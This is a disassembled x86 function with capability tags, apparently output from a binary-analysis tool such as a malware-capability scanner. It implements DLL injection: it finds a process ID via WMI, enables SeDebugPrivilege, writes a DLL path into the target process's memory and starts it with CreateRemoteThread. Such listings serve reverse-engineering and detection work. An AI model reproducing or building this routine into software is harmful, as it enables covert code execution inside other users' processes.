Function at 0x40c706
Capabilities:
Acquire debug privileges
Connect to wmi namespace via wbemlocator
Create thread
Inject dll
Inject thread

Disassembly:
mov eax, 0x425578
call fcn.004121ac
sub esp, 0x150
push ebx
xor ebx, ebx
push esi
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x2c], ebx
push 0x103
lea eax, [ebp - 0x15b]
push ebx
push eax
mov byte [ebp - 4], 1
mov byte [ebp - 0x11], bl
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x40], ebx
mov byte [ebp - 0x15c], bl
call fcn.00412380
push dword [ebp + 0xc]
lea eax, [ebp - 0x15c]
push 0x104
push eax
call fcn.00412ac8
add esp, 0x18
lea eax, [ebp - 0x30]
push eax
push 0x429a28
push 0x17
push ebx
push 0x429b24
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov esi, dword [ebp - 0x30]
cmp esi, ebx
je 0x40ca3d
push edi
push 0x429b20
lea ecx, [ebp - 0x10]
call fcn.0040b185
mov edi, eax
push str.rootcimv2
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 2
call fcn.0040b185
mov edi, dword [edi]
mov eax, dword [eax]
mov ecx, dword [esi]
lea edx, [ebp - 0x2c]
push edx
push ebx
push edi
push 0x80
push ebx
push ebx
push ebx
push eax
push esi
mov byte [ebp - 4], 3
call dword [ecx + 0xc]
push dword [ebp - 0x20]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
test eax, eax
setl byte [ebp - 0x25]
call esi
push dword [ebp - 0x10]
mov byte [ebp - 4], 1
call esi
cmp byte [ebp - 0x25], bl
jne 0x40ca3c
push ebx
push ebx
push 3
push ebx
push 0xffffffffffffffff
push ebx
push 0xffffffffffffffff
push dword [ebp - 0x2c]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
jl 0x40ca3c
mov dword [ebp - 0x1c], ebx
push 0x429aa0
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 4
call fcn.0040b185
push dword [ebp + 8]
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 5
call fcn.00402635
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 6
call fcn.0040c38a
push dword [ebp - 0x20]
mov byte [ebp - 4], 5
call esi
push 0x429a9c
lea ecx, [ebp - 0x20]
call fcn.00402635
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 7
call fcn.0040c38a
push dword [ebp - 0x20]
mov byte [ebp - 4], 5
call esi
mov edi, dword [ebp - 0x2c]
push 0x429a94
lea ecx, [ebp - 0x20]
call fcn.0040b185
mov eax, dword [eax]
mov ecx, dword [edi]
lea edx, [ebp - 0x1c]
push edx
push ebx
push 0x20
push dword [ebp - 0x10]
mov byte [ebp - 4], 8
push eax
push edi
call dword [ecx + 0x50]
push dword [ebp - 0x20]
mov edi, eax
call esi
cmp edi, ebx
jl 0x40ca26
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
je 0x40ca26
mov dword [ebp - 0x18], ebx
lea edx, [ebp - 0x44]
push edx
lea edx, [ebp - 0x18]
push edx
push 1
push 0x2710
mov dword [ebp - 0x44], ebx
mov ecx, dword [eax]
push eax
mov byte [ebp - 4], 9
call dword [ecx + 0x10]
cmp eax, ebx
jne 0x40c92b
cmp dword [ebp - 0x44], 1
jne 0x40c92b
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
push ebx
push ebx
lea edx, [ebp - 0x58]
push edx
push ebx
push str.ProcessId
push eax
mov byte [ebp - 4], 0xa
call dword [ecx + 0x10]
test eax, eax
jge 0x40c908
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x40ca15
mov eax, dword [ebp - 0x18]
cmp eax, ebx
je 0x40c918
mov dword [ebp - 0x18], ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov edi, dword [ebp - 0x50]
lea eax, [ebp - 0x58]
push eax
mov byte [ebp - 4], 9
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x40c92e
mov edi, dword [ebp - 0x3c]
lea eax, [ebp - 0x34]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40ca15
push 1
push str.SeDebugPrivilege
push dword [ebp - 0x34]
call fcn.0040c222
add esp, 0xc
push edi
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x24], eax
cmp eax, ebx
je 0x40ca15
push dword [ebp + 0xc]
push eax
call fcn.0040c617
pop ecx
pop ecx
test al, al
je 0x40c98b
mov byte [ebp - 0x11], 1
jmp 0x40ca15
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x3c], eax
cmp eax, ebx
je 0x40ca15
push 4
push 0x1000
mov edi, 0x104
push edi
push ebx
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x38], eax
cmp eax, ebx
je 0x40ca15
push ebx
push edi
lea ecx, [ebp - 0x15c]
push ecx
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp eax, ebx
je 0x40ca15
push ebx
push ebx
push dword [ebp - 0x38]
push 0x429a38
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
push ebx
push ebx
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
mov dword [ebp - 0x40], edi
cmp edi, ebx
je 0x40ca15
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x48]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [ebp - 0x48], ebx
setne byte [ebp - 0x11]
mov eax, dword [ebp - 0x18]
mov byte [ebp - 4], 5
cmp eax, ebx
je 0x40ca26
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [ebp - 0x10]
call esi
mov eax, dword [ebp - 0x1c]
mov byte [ebp - 4], 1
cmp eax, ebx
je 0x40ca3c
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
mov eax, dword [ebp - 0x2c]
cmp eax, ebx
je 0x40ca4d
mov dword [ebp - 0x2c], ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x30]
cmp eax, ebx
je 0x40ca5d
mov dword [ebp - 0x30], ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x34], ebx
je 0x40ca6d
push dword [ebp - 0x34]
call esi
cmp dword [ebp - 0x24], ebx
je 0x40ca77
push dword [ebp - 0x24]
call esi
cmp dword [ebp - 0x40], ebx
je 0x40ca81
push dword [ebp - 0x40]
call esi
cmp dword [ebp - 0x38], ebx
je 0x40ca9c
push 0x8000
push 0x104
push dword [ebp - 0x38]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [ebp - 0x2c]
mov byte [ebp - 4], bl
cmp eax, ebx
je 0x40caac
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x30]
or dword [ebp - 4], 0xffffffff
pop esi
cmp eax, ebx
pop ebx
je 0x40cabf
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0x11]
mov dword fs:[0], ecx
leave
ret